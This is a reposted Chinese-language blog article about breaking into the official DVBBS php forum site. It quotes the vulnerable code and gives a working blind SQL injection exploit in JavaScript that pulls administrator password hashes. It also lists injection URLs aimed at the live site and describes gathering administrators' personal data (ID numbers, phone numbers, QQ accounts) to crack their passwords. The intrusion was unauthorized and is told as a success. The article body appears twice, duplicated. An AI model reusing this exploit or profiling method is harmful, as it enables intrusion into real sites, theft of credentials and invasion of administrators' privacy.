入侵DVBBS php官網(wǎng)詳細(xì)過(guò)程(圖)
發(fā)布日期:2021-12-30 00:42 | 文章來(lái)源:gibhub
幾 個(gè)月前,DVBBS php2.0暴了一個(gè)可以直接讀出管理員密碼的sql注入漏洞,當(dāng)時(shí)這個(gè)漏洞出來(lái)的時(shí)候,我看的心癢,怎么還會(huì)有這么弱智的漏洞,DVBBS php2.0這套代碼我還沒(méi)仔細(xì)看過(guò),于是5月中旬我down下來(lái)粗略看了下,接著我花了三天的時(shí)間,拿下p.dvbbs.net,即動(dòng)網(wǎng)php的官方網(wǎng) 站,并得到了webshell??偟膩?lái)說(shuō),這次入侵憑的是二分技術(shù)加一分運(yùn)氣。
一、 SQL注入漏洞:
晚上檢查了好久,終于在topicother.php中發(fā)現(xiàn)了一處sql注入漏洞,但是并不像前段時(shí)間暴的漏洞那么簡(jiǎn)單,因?yàn)椴荒馨衙艽a直接讀出數(shù)據(jù)庫(kù)并顯示出來(lái),這是個(gè)活動(dòng)帖子的報(bào)名主函數(shù),我簡(jiǎn)單搜索了下,1.0好像后來(lái)就增加了這個(gè)功能。好了,來(lái)看具體函數(shù):
function PostActive_Main(){
……
$TopicID = $GLOBALS['id'];
$activeid = trim($_GET['activeid']);//activeid并沒(méi)有過(guò)濾
$timemode = $_POST['payment'];
$systemmode = trim($_POST['contact']);
$message = trim($_POST['message']);
$gettimemode = trim($_POST['timemode']);
$getstarttime = trim($_POST['starttime']);
$getendtime = trim($_POST['endtime']);
$getexpiretime = trim($_POST['expiretime']);
if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_POST['payvalue']));
//直接帶進(jìn)來(lái)使用了
if( $query = $db->query("SELECT u1.sex,u1.strength,u2.usersex FROM { $dv }active as u1,{ $dv }user as u2 WHERE activeid={ $activeid }")){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query("SELECT count(*) as num from { $dv }activeuser where activeid='".$activeid."'")){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}
…
//如果查取的activeid不正確或者后面注入的條件不成立,則顯示顯示str1:對(duì)不起!本活動(dòng)報(bào)名人數(shù)已滿!
if($activenum['num']>=$activeinfo['strength']){
head(0,0,0,$arrNavMenu);
showmsg($lang['Active_Error.str1']);
exit;
}
//如果activeid正確(后面注入的條件也成立),但沒(méi)有登陸,就顯示str2:請(qǐng)登陸后操作!
if ($userid==0) {
head(0,0,0,$arrNavMenu);
showmsg($lang['Active_Error.str2']);
exit;
}
…
//如果activeid正確并且已經(jīng)登陸了,遞交的時(shí)候沒(méi)有遞交聯(lián)系方式,則會(huì)顯示str6這個(gè)錯(cuò)誤:對(duì)不起聯(lián)系方式不能為空或小于8個(gè)字符!
if (''==$systemmode||strlen($systemmode)
首先先確定有沒(méi)有activeid為1的活動(dòng)帖子,就是在論壇目錄后加上
topicother.php?t=9&action=join&activeid=1
顯示“對(duì)不起!本活動(dòng)報(bào)名人數(shù)已滿!”則有可能不存在,自己注冊(cè)個(gè)號(hào)進(jìn)去發(fā)個(gè)活動(dòng)帖子先。
根 據(jù)上面解釋,大家是否已經(jīng)看出來(lái)該怎么注入啦,并不是什么都需要工具的,想當(dāng)年ACCESS手工注入又不是沒(méi)注入過(guò),判斷條件正確就返回正常,錯(cuò)誤就不正 常顯示;這里不也是同樣的道理么,不管有沒(méi)登陸,出錯(cuò)都顯示:“對(duì)不起!本活動(dòng)報(bào)名人數(shù)已滿!”,如果判斷條件正確,沒(méi)有登陸的話顯示:“請(qǐng)登陸后操 作!”,已經(jīng)登陸了顯示:“對(duì)不起聯(lián)系方式不能為空或小于8個(gè)字符!”于是當(dāng)晚我手動(dòng)測(cè)試了一下官方,并成功獲得了一個(gè)管理員的16位MD5的密碼。興奮 的去睡覺(jué),躺在床上卻怎么也睡不著:怎么去更簡(jiǎn)單的利用呢?一邊思考,一邊入睡,睡著的時(shí)候天都亮了。
5個(gè)小時(shí)后,睡醒了繼續(xù)搞,因?yàn)闆](méi)有 開(kāi)發(fā)那種application程序的經(jīng)驗(yàn),所以我沒(méi)想去寫(xiě)個(gè)exp工具,但一直手工多麻煩啊,記得以前開(kāi)發(fā)網(wǎng)站的時(shí)候用ajax去get或者post數(shù) 據(jù)并回顯的,這里是不是也一樣可以?于是自己嘗試寫(xiě),輕輕松松寫(xiě)出個(gè)單一判斷md5某一位的ajax代碼,可是在寫(xiě)循環(huán)的時(shí)候卻出錯(cuò)了,后來(lái)flyh4t 上線丟給我一段代碼,我參考了一下然后一個(gè)可以讀任意DVBBS php站點(diǎn)管理員密碼的基于頁(yè)面的Exploit code搞定了(列出主要代碼):
function sendCall(i,j,url,w,p) {
if (p=="temp"){ p=url }
//后臺(tái)密碼、用戶名、關(guān)聯(lián)的前臺(tái)用戶名
switch(parseInt(w)){
case 0:url = p "/**/and/**/ascii(mid(password," i ",1))=" j ")/**/";break;
case 1:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
case 2:url = p "/**/and/**/ascii(mid(adduser," i ",1))=" j ")/**/";break;
//前臺(tái)密碼、用戶名
case 3:url = p "/**/and/**/ascii(mid(userpassword," i ",1))=" j ")/**/";break;
case 4:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
}
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
//解決FF中跨域問(wèn)題
try{
netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead ");
} catch (e) {
alert( "Permission UniversalBrowserRead denied. ");
}
}
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {
var str = xmlHttp.responseText;
var md5hash=document.getElementById("md5hash");
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass = String.fromCharCode(j);
md5hash.innerHTML = pass;
j = 48;
i ;
}
else {
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }
else { j ; }
}
if(pass.length >= 16) { alert("Exploitation Successfull!. Admin MD5 Hash(or username): " pass); return true; }
sendCall(i,j,url,w,p);
}
}
xmlHttp.open('GET', url, true);
xmlHttp.send(null);
}
工具不支持中文用戶名,但支持字母 數(shù)字 常用符號(hào)組合。
接著就簡(jiǎn)單啦,先判斷下官網(wǎng)后臺(tái)的管理員人數(shù):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然后判斷一下后臺(tái)管理員id是從多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 后可以根據(jù)存在的后臺(tái)id用工具去暴密碼啦,速度還蠻快的,一會(huì)我就成功獲得了后臺(tái)所有的md5 password,cmd5.com去跑了下,只能跑出一個(gè),其他不是not found就是要收費(fèi)。到前臺(tái)轉(zhuǎn)了下,發(fā)現(xiàn)前臺(tái)可以看到的管理員只有幾個(gè),貌似有的后臺(tái)管理員前臺(tái)并不顯示為管理員,不過(guò)我也用工具暴出前臺(tái)管理員的密 碼,留著備用,查了下,也只成功跑出了一個(gè)。
由于動(dòng)網(wǎng)的前臺(tái)與后臺(tái)管理員之間有對(duì)應(yīng)關(guān)系,因此不能用這個(gè)管理的前臺(tái)密碼加上那個(gè)管理員的后 臺(tái)密碼去登陸后臺(tái),研究了下代碼跟數(shù)據(jù)庫(kù),后臺(tái)表中的adduser這個(gè)字段就是相對(duì)應(yīng)的前臺(tái)密碼。可是既然這樣,我得到的信息就無(wú)法利用,那怎么去獲得 一個(gè)后臺(tái)權(quán)限呢,md5的存在讓注入的光華變的暗淡了,怪不得當(dāng)初那個(gè)漏洞那么簡(jiǎn)單的可以讀密碼那些大牛們都沒(méi)把官方站點(diǎn)拿下,官方站不存在白癡管理員 啊…
又到下午了,還是沒(méi)有進(jìn)展,我在想是放棄還是該怎么繼續(xù),去126郵箱翻翻ph4nt0m的一些帖子,我突然想到個(gè)方法…
二、 社會(huì)工程學(xué):
其 實(shí)這是讓我洋洋得意的地方,我自我感覺(jué)無(wú)論什么技術(shù),都沒(méi)社會(huì)工程學(xué)來(lái)的讓人心動(dòng),而且只要用用心,社會(huì)工程學(xué)就可以被演繹的淋漓盡致。但是這段讓我非常 興奮的經(jīng)歷,我還是不能多寫(xiě),因?yàn)檫@涉及到官方多位管理員的隱私,我只是簡(jiǎn)單的入侵檢測(cè),并不想成為別有用心之人的參考。
簡(jiǎn)單了說(shuō)一下:由于adduser是中文的話,我的工具暴不了,但我可以用語(yǔ)句猜測(cè)(把a(bǔ)dduser十六進(jìn)制處理下就OK了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)
我用..代替省略掉十六進(jìn)制用戶名,后面的ID也省略下。這樣,我可以輕松的猜出后臺(tái)某個(gè)ID對(duì)應(yīng)的前臺(tái)用戶名,于是我找了幾個(gè)管理員作為突破口。
因 為我有前臺(tái)管理員權(quán)限,于是我從前臺(tái)找了下所有管理員、超級(jí)版主以及可以看到的動(dòng)網(wǎng)團(tuán)隊(duì)的人員的信息,并收集歸攏到一個(gè)txt文件中,然后我去百度跟谷歌 搜索這些管理員的用戶名,搜集一些他們平時(shí)訪問(wèn)的站點(diǎn)以及留下的信息:生日、身份證號(hào)碼、QQ號(hào)碼、電話號(hào)碼、郵箱等等等,最后根據(jù)這些信息根據(jù)得到的 md5密碼猜測(cè)可能存在的密碼,終于比昏昏然茫茫然的開(kāi)始好多了,實(shí)在不行的時(shí)候,我再跑到DVBBS的ASP論壇去獲取相關(guān)的信息,終于到最后一個(gè)下午 的努力沒(méi)有白費(fèi),我在晚上拿下了DVBBS php官方網(wǎng)站的后臺(tái):
異常興奮,我給flyh4t截了個(gè)圖宣揚(yáng)了下戰(zhàn)果,然后跑到ph4nt0m發(fā)了個(gè)帖子告訴大家社會(huì)工程學(xué)的偉大(結(jié)果被眾大牛牛們鄙視了…寒)
一、 SQL注入漏洞:
晚上檢查了好久,終于在topicother.php中發(fā)現(xiàn)了一處sql注入漏洞,但是并不像前段時(shí)間暴的漏洞那么簡(jiǎn)單,因?yàn)椴荒馨衙艽a直接讀出數(shù)據(jù)庫(kù)并顯示出來(lái),這是個(gè)活動(dòng)帖子的報(bào)名主函數(shù),我簡(jiǎn)單搜索了下,1.0好像后來(lái)就增加了這個(gè)功能。好了,來(lái)看具體函數(shù):
function PostActive_Main(){
……
$TopicID = $GLOBALS['id'];
$activeid = trim($_GET['activeid']);//activeid并沒(méi)有過(guò)濾
$timemode = $_POST['payment'];
$systemmode = trim($_POST['contact']);
$message = trim($_POST['message']);
$gettimemode = trim($_POST['timemode']);
$getstarttime = trim($_POST['starttime']);
$getendtime = trim($_POST['endtime']);
$getexpiretime = trim($_POST['expiretime']);
if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_POST['payvalue']));
//直接帶進(jìn)來(lái)使用了
if( $query = $db->query("SELECT u1.sex,u1.strength,u2.usersex FROM { $dv }active as u1,{ $dv }user as u2 WHERE activeid={ $activeid }")){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query("SELECT count(*) as num from { $dv }activeuser where activeid='".$activeid."'")){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}
…
//如果查取的activeid不正確或者后面注入的條件不成立,則顯示顯示str1:對(duì)不起!本活動(dòng)報(bào)名人數(shù)已滿!
if($activenum['num']>=$activeinfo['strength']){
head(0,0,0,$arrNavMenu);
showmsg($lang['Active_Error.str1']);
exit;
}
//如果activeid正確(后面注入的條件也成立),但沒(méi)有登陸,就顯示str2:請(qǐng)登陸后操作!
if ($userid==0) {
head(0,0,0,$arrNavMenu);
showmsg($lang['Active_Error.str2']);
exit;
}
…
//如果activeid正確并且已經(jīng)登陸了,遞交的時(shí)候沒(méi)有遞交聯(lián)系方式,則會(huì)顯示str6這個(gè)錯(cuò)誤:對(duì)不起聯(lián)系方式不能為空或小于8個(gè)字符!
if (''==$systemmode||strlen($systemmode)
首先先確定有沒(méi)有activeid為1的活動(dòng)帖子,就是在論壇目錄后加上
topicother.php?t=9&action=join&activeid=1
顯示“對(duì)不起!本活動(dòng)報(bào)名人數(shù)已滿!”則有可能不存在,自己注冊(cè)個(gè)號(hào)進(jìn)去發(fā)個(gè)活動(dòng)帖子先。
根 據(jù)上面解釋,大家是否已經(jīng)看出來(lái)該怎么注入啦,并不是什么都需要工具的,想當(dāng)年ACCESS手工注入又不是沒(méi)注入過(guò),判斷條件正確就返回正常,錯(cuò)誤就不正 常顯示;這里不也是同樣的道理么,不管有沒(méi)登陸,出錯(cuò)都顯示:“對(duì)不起!本活動(dòng)報(bào)名人數(shù)已滿!”,如果判斷條件正確,沒(méi)有登陸的話顯示:“請(qǐng)登陸后操 作!”,已經(jīng)登陸了顯示:“對(duì)不起聯(lián)系方式不能為空或小于8個(gè)字符!”于是當(dāng)晚我手動(dòng)測(cè)試了一下官方,并成功獲得了一個(gè)管理員的16位MD5的密碼。興奮 的去睡覺(jué),躺在床上卻怎么也睡不著:怎么去更簡(jiǎn)單的利用呢?一邊思考,一邊入睡,睡著的時(shí)候天都亮了。
5個(gè)小時(shí)后,睡醒了繼續(xù)搞,因?yàn)闆](méi)有 開(kāi)發(fā)那種application程序的經(jīng)驗(yàn),所以我沒(méi)想去寫(xiě)個(gè)exp工具,但一直手工多麻煩啊,記得以前開(kāi)發(fā)網(wǎng)站的時(shí)候用ajax去get或者post數(shù) 據(jù)并回顯的,這里是不是也一樣可以?于是自己嘗試寫(xiě),輕輕松松寫(xiě)出個(gè)單一判斷md5某一位的ajax代碼,可是在寫(xiě)循環(huán)的時(shí)候卻出錯(cuò)了,后來(lái)flyh4t 上線丟給我一段代碼,我參考了一下然后一個(gè)可以讀任意DVBBS php站點(diǎn)管理員密碼的基于頁(yè)面的Exploit code搞定了(列出主要代碼):
function sendCall(i,j,url,w,p) {
if (p=="temp"){ p=url }
//后臺(tái)密碼、用戶名、關(guān)聯(lián)的前臺(tái)用戶名
switch(parseInt(w)){
case 0:url = p "/**/and/**/ascii(mid(password," i ",1))=" j ")/**/";break;
case 1:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
case 2:url = p "/**/and/**/ascii(mid(adduser," i ",1))=" j ")/**/";break;
//前臺(tái)密碼、用戶名
case 3:url = p "/**/and/**/ascii(mid(userpassword," i ",1))=" j ")/**/";break;
case 4:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
}
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
//解決FF中跨域問(wèn)題
try{
netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead ");
} catch (e) {
alert( "Permission UniversalBrowserRead denied. ");
}
}
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {
var str = xmlHttp.responseText;
var md5hash=document.getElementById("md5hash");
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass = String.fromCharCode(j);
md5hash.innerHTML = pass;
j = 48;
i ;
}
else {
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }
else { j ; }
}
if(pass.length >= 16) { alert("Exploitation Successfull!. Admin MD5 Hash(or username): " pass); return true; }
sendCall(i,j,url,w,p);
}
}
xmlHttp.open('GET', url, true);
xmlHttp.send(null);
}
工具不支持中文用戶名,但支持字母 數(shù)字 常用符號(hào)組合。
接著就簡(jiǎn)單啦,先判斷下官網(wǎng)后臺(tái)的管理員人數(shù):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然后判斷一下后臺(tái)管理員id是從多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 后可以根據(jù)存在的后臺(tái)id用工具去暴密碼啦,速度還蠻快的,一會(huì)我就成功獲得了后臺(tái)所有的md5 password,cmd5.com去跑了下,只能跑出一個(gè),其他不是not found就是要收費(fèi)。到前臺(tái)轉(zhuǎn)了下,發(fā)現(xiàn)前臺(tái)可以看到的管理員只有幾個(gè),貌似有的后臺(tái)管理員前臺(tái)并不顯示為管理員,不過(guò)我也用工具暴出前臺(tái)管理員的密 碼,留著備用,查了下,也只成功跑出了一個(gè)。
由于動(dòng)網(wǎng)的前臺(tái)與后臺(tái)管理員之間有對(duì)應(yīng)關(guān)系,因此不能用這個(gè)管理的前臺(tái)密碼加上那個(gè)管理員的后 臺(tái)密碼去登陸后臺(tái),研究了下代碼跟數(shù)據(jù)庫(kù),后臺(tái)表中的adduser這個(gè)字段就是相對(duì)應(yīng)的前臺(tái)密碼。可是既然這樣,我得到的信息就無(wú)法利用,那怎么去獲得 一個(gè)后臺(tái)權(quán)限呢,md5的存在讓注入的光華變的暗淡了,怪不得當(dāng)初那個(gè)漏洞那么簡(jiǎn)單的可以讀密碼那些大牛們都沒(méi)把官方站點(diǎn)拿下,官方站不存在白癡管理員 啊…
又到下午了,還是沒(méi)有進(jìn)展,我在想是放棄還是該怎么繼續(xù),去126郵箱翻翻ph4nt0m的一些帖子,我突然想到個(gè)方法…
二、 社會(huì)工程學(xué):
其 實(shí)這是讓我洋洋得意的地方,我自我感覺(jué)無(wú)論什么技術(shù),都沒(méi)社會(huì)工程學(xué)來(lái)的讓人心動(dòng),而且只要用用心,社會(huì)工程學(xué)就可以被演繹的淋漓盡致。但是這段讓我非常 興奮的經(jīng)歷,我還是不能多寫(xiě),因?yàn)檫@涉及到官方多位管理員的隱私,我只是簡(jiǎn)單的入侵檢測(cè),并不想成為別有用心之人的參考。
簡(jiǎn)單了說(shuō)一下:由于adduser是中文的話,我的工具暴不了,但我可以用語(yǔ)句猜測(cè)(把a(bǔ)dduser十六進(jìn)制處理下就OK了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)
我用..代替省略掉十六進(jìn)制用戶名,后面的ID也省略下。這樣,我可以輕松的猜出后臺(tái)某個(gè)ID對(duì)應(yīng)的前臺(tái)用戶名,于是我找了幾個(gè)管理員作為突破口。
因 為我有前臺(tái)管理員權(quán)限,于是我從前臺(tái)找了下所有管理員、超級(jí)版主以及可以看到的動(dòng)網(wǎng)團(tuán)隊(duì)的人員的信息,并收集歸攏到一個(gè)txt文件中,然后我去百度跟谷歌 搜索這些管理員的用戶名,搜集一些他們平時(shí)訪問(wèn)的站點(diǎn)以及留下的信息:生日、身份證號(hào)碼、QQ號(hào)碼、電話號(hào)碼、郵箱等等等,最后根據(jù)這些信息根據(jù)得到的 md5密碼猜測(cè)可能存在的密碼,終于比昏昏然茫茫然的開(kāi)始好多了,實(shí)在不行的時(shí)候,我再跑到DVBBS的ASP論壇去獲取相關(guān)的信息,終于到最后一個(gè)下午 的努力沒(méi)有白費(fèi),我在晚上拿下了DVBBS php官方網(wǎng)站的后臺(tái):

異常興奮,我給flyh4t截了個(gè)圖宣揚(yáng)了下戰(zhàn)果,然后跑到ph4nt0m發(fā)了個(gè)帖子告訴大家社會(huì)工程學(xué)的偉大(結(jié)果被眾大牛牛們鄙視了…寒)
上一頁(yè)12 下一頁(yè) 閱讀全文
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章